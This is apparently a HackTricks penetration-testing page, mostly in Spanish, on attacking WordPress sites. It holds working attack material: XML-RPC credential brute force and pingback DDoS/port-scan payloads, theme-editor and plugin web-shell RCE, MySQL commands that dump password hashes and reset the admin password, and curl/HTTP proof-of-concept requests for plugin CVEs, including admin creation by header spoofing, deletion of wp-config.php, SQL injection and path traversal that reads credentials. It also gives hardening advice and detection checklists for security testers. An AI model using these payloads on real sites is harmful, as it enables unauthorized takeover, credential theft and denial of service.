Wordpress

Reading time: 27 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información Básica

  • Archivos subidos van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algún php del tema para conseguir RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php

  • Otra URL útil podría ser: /wp-content/themes/default/404.php

  • En wp-config.php puedes encontrar la contraseña root de la base de datos.

  • Rutas de login por defecto a comprobar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Archivos principales de WordPress

  • index.php
  • license.txt contiene información útil como la versión de WordPress instalada.
  • wp-activate.php se usa para el proceso de activación por correo electrónico al configurar un nuevo sitio WordPress.
  • Carpetas de login (pueden ser renombradas para ocultarlas):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php es un archivo que representa una característica de WordPress que permite que los datos se transmitan utilizando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por el REST API de WordPress.
  • La carpeta wp-content es el directorio principal donde se almacenan plugins y temas.
  • wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
  • wp-sitemap.xml En versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de contenido y taxonomías consultables públicamente.

Post explotación

  • El archivo wp-config.php contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el usuario y la contraseña, las keys y salts de autenticación, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para la resolución de problemas.

Permisos de usuarios

  • Administrator
  • Editor: Publica y gestiona sus propias entradas y las de otros
  • Author: Publica y gestiona sus propias entradas
  • Contributor: Escribe y gestiona sus entradas pero no puede publicarlas
  • Subscriber: Navega las entradas y edita su perfil

Enumeración pasiva

Obtener la versión de WordPress

Comprueba si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos de enlace CSS

  • Archivos JavaScript

Obtener Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtener Temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás realizar activamente un Brute Force a una lista de Plugins y Temas (esperemos que existan herramientas automatizadas que contengan estas listas).

Usuarios

  • ID Brute: Obtienes usuarios válidos de un sitio WordPress realizando Brute Forcing de los IDs de usuario:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

  • wp-json: También puedes intentar obtener información sobre los usuarios consultando:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Otro endpoint /wp-json/ que puede revelar algo de información sobre usuarios es:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tienen habilitada esta función.

Ten en cuenta también que /wp-json/wp/v2/pages could leak direcciones IP.

  • Login username enumeration: Al iniciar sesión en /wp-login.php el mensaje es distinto y indica si el username existe o no.

XML-RPC

Si xml-rpc.php está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso usando esto, por ejemplo).

Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:

Comprobar

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credenciales Bruteforce

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.

Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para login con esas credenciales evitando 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aún podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask miles de sitios Wordpress que accedan a una misma ubicación (provocando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Consulta el uso de system.multicall en la sección anterior para aprender cómo abusar de este método para causar DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este archivo normalmente existe en la raíz del sitio Wordpress: /wp-cron.php
Cuando este archivo es accedido, se ejecuta una consulta MySQL pesada, por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, wp-cron.php se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio Wordpress puede realizar una petición hacia ti.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Herramientas automáticas

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obtener acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así podías voltear la posición 5389 del archivo /var/www/html/wp-includes/user.php para NOP la operación NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificando un php del tema usado (se necesitan credenciales de administrador)

Apariencia → Editor de temas → Plantilla 404 (a la derecha)

Reemplaza el contenido por un shell php:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

bash
use exploit/unix/webapp/wp_admin_shell_upload

para obtener una sesión.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Subir y activar un plugin malicioso

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
  2. Exploitation:
  • With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
  • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
  • It's noted that this is just one of the many methods to exploit a WordPress site.

El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Crea un usuario en WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
  • (RCE) Built-In Plugin Edit: Edita plugins integrados en WordPress.
  • (RCE) Built-In Theme Edit: Edita temas integrados en WordPress.
  • (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.

Post Exploitation

Extract usernames and passwords:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambiar la contraseña del administrador:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Superficie de ataque

Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en this blog post.

  • wp_ajax

Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de handlers de AJAX. Estos pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría poseer (independientemente de su rol).

Estas son las funciones que se pueden usar para exponer una función en un plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

El uso de nopriv hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).

caution

Además, si la función solo está comprobando la autorización del usuario con la función wp_verify_nonce, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.

  • REST API

It's also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

El permission_callback es un callback a una función que comprueba si un usuario dado está autorizado para llamar al método de la API.

Si se usa la función incorporada __return_true, simplemente omitirá la comprobación de permisos de usuario.

  • Acceso directo al archivo php

Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será exploitable por cualquier usuario.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las solicitudes REST. Si el header no está cryptographically bound a la request por un componente upstream, un atacante puede spoof it y acceder a rutas REST privilegiadas como administrador.

  • Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (fuerza el user ID 1, típicamente la primera cuenta de administrador).
  • Ruta explotada: POST /wp-json/wp/v2/users con un array de roles elevado.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • El plugin mapea una cabecera controlada por el cliente a un estado de autenticación y omite las comprobaciones de capability.
  • WordPress core espera la capability create_users para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde la cabecera.

Expected success indicators

  • HTTP 201 con un cuerpo JSON que describe el usuario creado.
  • Un nuevo usuario admin visible en wp-admin/users.php.

Detection checklist

  • Grep por getallheaders(), $_SERVER['HTTP_...'], o vendor SDKs que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisar las REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones robustas de permission_callback y en su lugar confíen en las cabeceras de la solicitud.
  • Buscar usos de funciones core de gestión de usuarios (wp_insert_user, wp_create_user) dentro de handlers REST que estén protegidos únicamente por valores de cabecera.

Hardening

  • Nunca derives autenticación o autorización de cabeceras controladas por el cliente.
  • Si un proxy inverso debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., unset X-Wcpay-Platform-Checkout-User en el edge), luego pasa un token firmado y verifícalo server-side.
  • Para rutas REST que realicen acciones privilegiadas, requiere comprobaciones con current_user_can() y un permission_callback estricto (NO uses __return_true).
  • Prefiere autenticación first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía cabeceras.

References: see the links at the end of this page for a public case and broader analysis.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemas introducidos por este fragmento:

  • Acceso no autenticado – el hook wp_ajax_nopriv_ está registrado.
  • Sin comprobación de nonce / capacidades – cualquier visitante puede acceder al endpoint.
  • Sin sanitización de paths – la cadena controlada por el usuario fontfamily se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico ../../ traversal.

Explotación

Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base uploads (normalmente <wp-root>/wp-content/uploads/) enviando una única solicitud HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Porque wp-config.php vive fuera de uploads, cuatro secuencias ../ son suficientes en una instalación por defecto. Eliminar wp-config.php fuerza a WordPress al asistente de instalación en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de la base de datos y crea un usuario administrador).

Otros objetivos importantes incluyen archivos plugin/theme .php (para deshabilitar plugins de seguridad) o reglas .htaccess.

Lista de verificación de detección

  • Cualquier add_action( 'wp_ajax_nopriv_...') callback que llame helpers del sistema de archivos (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenación de entrada de usuario no saneada en rutas (buscar $_POST, $_GET, $_REQUEST).
  • Ausencia de check_ajax_referer() y current_user_can()/is_user_logged_in().

Endurecimiento

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Siempre trata cualquier operación de escritura/eliminación en disco como privilegiada y verifica doblemente: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Escalada de privilegios mediante restauración obsoleta de roles y falta de autorización (ASE "View Admin as Role")

Muchos plugins implementan una función de "view as role" o conmutación temporal de roles guardando el/los role(s) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración depende únicamente de parámetros de la petición (e.g., $_REQUEST['reset-for']) y de una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada de privilegios vertical.

Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en reset-for=<username> si el nombre de usuario aparecía en una matriz interna $options['viewing_admin_as_role_are'], pero no realizaba ni una comprobación current_user_can() ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en el user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por qué es explotable

  • Confía en $_REQUEST['reset-for'] y una opción del plugin sin autorización del lado del servidor.
  • Si un usuario previamente tuvo privilegios más altos guardados en _asenha_view_admin_as_original_roles y fue degradado, puede restaurarlos accediendo a la ruta de restablecimiento.
  • En algunas implementaciones, cualquier usuario autenticado podría desencadenar un restablecimiento para otro nombre de usuario todavía presente en viewing_admin_as_role_are (autorización rota).

Requisitos del ataque

  • Versión del plugin vulnerable con la función activada.
  • La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en meta de usuario por un uso anterior.
  • Cualquier sesión autenticada; falta nonce/capability en el flujo de restablecimiento.

Explotación (ejemplo)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator), escalando efectivamente los privilegios.

Detection checklist

  • Busca funciones de cambio de rol que persistan los "roles originales" en user meta (p. ej., _asenha_view_admin_as_original_roles).
  • Identifica rutas de restablecimiento/restauración que:
  • Leen nombres de usuario desde $_REQUEST / $_GET / $_POST.
  • Modifican roles mediante add_role() / remove_role() sin current_user_can() y wp_verify_nonce() / check_admin_referer().
  • Autorizan basándose en un array de opciones del plugin (p. ej., viewing_admin_as_role_are) en lugar de en las capacidades del actor.

Hardening

  • Forzar comprobaciones de capacidades en cada rama que cambie el estado (p. ej., current_user_can('manage_options') o más estricta).
  • Exigir nonces para todas las mutaciones de roles/permisos y verificarlos mediante: check_admin_referer() / wp_verify_nonce().
  • Nunca confíes en nombres de usuario suministrados en la solicitud; resuelve el usuario objetivo del lado del servidor basándote en el actor autenticado y en la política explícita.
  • Invalidar el estado de los "roles originales" en actualizaciones de perfil/rol para evitar la restauración obsoleta de privilegios altos:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Considere almacenar un estado mínimo y usar tokens limitados en el tiempo, capability-guarded, para cambios temporales de rol.

Consideraciones de WAF para WordPress/plugin CVEs

Los WAFs genéricos de edge/servidor se ajustan a patrones amplios (SQLi, XSS, LFI). Muchas fallas de alto impacto en WordPress/plugins son errores de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

Protección de WordPress

Actualizaciones regulares

Asegúrese de que WordPress, plugins y themes estén actualizados. También confirme que la actualización automática esté habilitada en wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Además, solo instala plugins y temas de WordPress de confianza.

Plugins de seguridad

Otras recomendaciones

  • Elimina el usuario predeterminado admin
  • Usa contraseñas fuertes y 2FA
  • Periódicamente revisa los permisos de los usuarios
  • Limita los intentos de inicio de sesión para prevenir ataques Brute Force
  • Renombra el archivo wp-admin.php y permite el acceso solo internamente o desde ciertas direcciones IP.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

El plugin de reclutamiento WP Job Portal expuso una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemas introducidos por este fragmento de código:

  1. Entrada de usuario no saneadaparentid proviene directamente de la petición HTTP.
  2. Concatenación de cadenas dentro de la cláusula WHERE – no is_numeric() / esc_sql() / prepared statement.
  3. Accesibilidad sin autenticación – aunque la acción se ejecuta a través de admin-post.php, la única verificación es un CSRF nonce (wp_verify_nonce()), que cualquier visitante puede obtener desde una página pública que incluya el shortcode [wpjobportal_my_resumes].

Explotación

  1. Obtener un nonce fresco:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inyectar SQL arbitraria abusando de parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando un SQLi.

Descarga arbitraria de archivos sin autenticación / Path Traversal (WP Job Portal <= 2.3.2)

Otra tarea, downloadcustomfile, permitía a los visitantes descargar cualquier archivo en disco mediante path traversal. El sink vulnerable está ubicado en modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name está controlado por el atacante y concatenado sin saneamiento. Nuevamente, la única barrera es un CSRF nonce que puede obtenerse desde la página de currículum.

Explotación

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

El servidor responde con el contenido de wp-config.php, leaking DB credentials and auth keys.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks